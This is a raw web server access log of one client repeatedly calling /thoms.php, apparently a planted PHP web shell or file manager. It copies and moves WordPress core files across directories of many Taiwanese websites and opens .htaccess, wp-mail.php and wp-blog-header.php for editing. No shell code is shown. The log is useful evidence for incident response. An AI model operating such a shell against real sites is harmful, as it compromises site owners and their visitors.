45.135.193.11 - - [11/Sep/2026:23:47:17 -0400] "GET /thoms.php?p=booking-wise2.com.tw HTTP/1.1" 200 18353 "https://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-settings.php&finish=1&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:17 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-settings.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11874 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-settings.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:17 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-settings.php&p=booking-wise2.com.tw%2Fdata-unused HTTP/1.1" 200 11357 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-settings.php&p=booking-wise2.com.tw%2Fdata-unused" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:17 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-settings.php&p=booking-wise2.com.tw%2Fupgrade HTTP/1.1" 200 11356 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-settings.php&p=booking-wise2.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:17 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fdata-unused&p=bft.com.tw HTTP/1.1" 200 11448 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fdata-unused&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:17 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fdata-unused&p=bossini.com.tw HTTP/1.1" 200 11470 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fdata-unused&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:17 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fdata-unused&p=wp-content-20260912023544 HTTP/1.1" 200 11396 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fdata-unused&p=wp-content-20260912023544" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:17 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fdata-unused&p=bodbooks.com.tw HTTP/1.1" 200 11508 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fdata-unused&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:17 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fdata-unused&finish=1&move=1&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fdata-unused&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:17 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fdata-unused&p=ba-guo.com-20260912023525 HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fdata-unused&p=ba-guo.com-20260912023525" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:17 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fdata-unused&p=biotaiwan.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fdata-unused&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:17 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22888 "https://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fdata-unused&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:17 -0400] "GET /thoms.php?p=ba-guo.com-20260912023525 HTTP/1.1" 200 17305 "https://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fdata-unused&p=ba-guo.com-20260912023525" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:17 -0400] "GET /thoms.php?p=biotaiwan.com.tw HTTP/1.1" 200 17504 "https://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fdata-unused&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:17 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fdata-unused&p=bioway88.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fdata-unused&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:17 -0400] "GET /thoms.php?p=bioway88.com.tw HTTP/1.1" 200 17713 "https://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fdata-unused&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:18 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fdata-unused&p=besth2o.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fdata-unused&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:18 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fdata-unused&p=broadweb.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fdata-unused&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:18 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fdata-unused&p=big-wife.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fdata-unused&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:18 -0400] "GET /thoms.php?p=besth2o.com.tw HTTP/1.1" 200 17492 "https://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fdata-unused&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:18 -0400] "GET /thoms.php?p=broadweb.com.tw HTTP/1.1" 200 17385 "https://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fdata-unused&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:18 -0400] "GET /thoms.php?p=big-wife.com.tw HTTP/1.1" 200 20743 "https://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fdata-unused&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:18 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fdata-unused&p=upgrade HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fdata-unused&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:18 -0400] "GET /thoms.php?p=upgrade HTTP/1.1" 200 14016 "https://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fdata-unused&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:18 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fdata-unused&p=bfl.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fdata-unused&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:18 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fdata-unused&p=bogroup.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fdata-unused&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:18 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fdata-unused&p=booking-wise2.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fdata-unused&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:18 -0400] "GET /thoms.php?p=bfl.com.tw HTTP/1.1" 200 17471 "https://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fdata-unused&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:18 -0400] "GET /thoms.php?p=bogroup.com.tw HTTP/1.1" 200 17362 "https://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fdata-unused&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:18 -0400] "GET /thoms.php?p=booking-wise2.com.tw HTTP/1.1" 200 18149 "https://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fdata-unused&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:18 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fdata-unused&p=cgi-bin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fdata-unused&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:18 -0400] "GET /thoms.php?p=cgi-bin HTTP/1.1" 200 13328 "https://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fdata-unused&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:18 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fdata-unused&p=bestjudy.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fdata-unused&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:18 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fdata-unused&p=bestzyx.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fdata-unused&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:18 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fdata-unused&p=ba-guo.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fdata-unused&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:18 -0400] "GET /thoms.php?p=bestjudy.com.tw HTTP/1.1" 200 20635 "https://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fdata-unused&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:19 -0400] "GET /thoms.php?p=bestzyx.com.tw HTTP/1.1" 200 21168 "https://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fdata-unused&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:19 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fdata-unused&p=betcity.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fdata-unused&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:19 -0400] "GET /thoms.php?p=ba-guo.com.tw HTTP/1.1" 200 12528 "https://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fdata-unused&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:19 -0400] "GET /thoms.php?p=betcity.com.tw HTTP/1.1" 200 20830 "https://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fdata-unused&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:19 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fdata-unused&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fdata-unused&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:19 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fdata-unused&p=wp-content HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fdata-unused&p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:19 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fdata-unused&finish=1&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fdata-unused&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:19 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22886 "https://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fdata-unused&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:19 -0400] "GET /thoms.php?p=wp-content HTTP/1.1" 200 13754 "https://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fdata-unused&p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:19 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22887 "https://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fdata-unused&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:19 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fdata-unused&p=beauty-dental.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fdata-unused&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:19 -0400] "GET /thoms.php?p=beauty-dental.com.tw HTTP/1.1" 200 17384 "https://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fdata-unused&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:19 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fdata-unused&p=wordpress-6.6-20260912023539 HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fdata-unused&p=wordpress-6.6-20260912023539" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:19 -0400] "GET /thoms.php?edit=wp-mail.php&env=ace&p=booking-wise2.com.tw HTTP/1.1" 200 18717 "http://163.245.207.76:443/thoms.php?edit=wp-mail.php&env=ace&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:19 -0400] "GET /thoms.php?p=wordpress-6.6-20260912023539 HTTP/1.1" 200 16556 "https://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fdata-unused&p=wordpress-6.6-20260912023539" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:19 -0400] "GET /thoms.php?edit=wp-mail.php&p=booking-wise2.com.tw HTTP/1.1" 200 15095 "http://163.245.207.76:443/thoms.php?edit=wp-mail.php&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:19 -0400] "GET /thoms.php?edit=.htaccess&p=booking-wise2.com.tw HTTP/1.1" 200 12485 "http://163.245.207.76:443/thoms.php?edit=.htaccess&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:20 -0400] "GET /thoms.php?edit=.htaccess&env=ace&p=booking-wise2.com.tw HTTP/1.1" 200 16094 "http://163.245.207.76:443/thoms.php?edit=.htaccess&env=ace&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:20 -0400] "GET /thoms.php?edit=wp-blog-header.php&p=booking-wise2.com.tw HTTP/1.1" 200 11803 "http://163.245.207.76:443/thoms.php?edit=wp-blog-header.php&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:20 -0400] "GET /thoms.php?edit=wp-blog-header.php&env=ace&p=booking-wise2.com.tw HTTP/1.1" 200 15430 "http://163.245.207.76:443/thoms.php?edit=wp-blog-header.php&env=ace&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:20 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-signup.php&finish=1&move=1&p=booking-wise2.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-signup.php&finish=1&move=1&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:20 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-signup.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11878 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-signup.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:20 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-signup.php&p=booking-wise2.com.tw%2Fcgi-bin HTTP/1.1" 200 11359 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-signup.php&p=booking-wise2.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:20 -0400] "GET /thoms.php?p=booking-wise2.com.tw HTTP/1.1" 200 18157 "https://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-signup.php&finish=1&move=1&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:20 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-signup.php&p=booking-wise2.com.tw%2Fdata-unused HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-signup.php&p=booking-wise2.com.tw%2Fdata-unused" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:20 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22888 "https://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-signup.php&p=booking-wise2.com.tw%2Fdata-unused" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:20 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-signup.php&p=booking-wise2.com.tw%2Fupgrade HTTP/1.1" 200 11367 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-signup.php&p=booking-wise2.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:20 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-signup.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11463 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-signup.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:20 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-signup.php&p=booking-wise2.com.tw%2Fweb-common HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-signup.php&p=booking-wise2.com.tw%2Fweb-common" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:20 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22887 "https://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-signup.php&p=booking-wise2.com.tw%2Fweb-common" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:20 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-signup.php&finish=1&p=booking-wise2.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-signup.php&finish=1&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:20 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-signup.php&p=booking-wise2.com.tw%2F.well-known HTTP/1.1" 200 11403 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-signup.php&p=booking-wise2.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:20 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-signup.php&p= HTTP/1.1" 200 12406 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-signup.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:20 -0400] "GET /thoms.php?p=booking-wise2.com.tw HTTP/1.1" 200 18309 "https://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-signup.php&finish=1&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
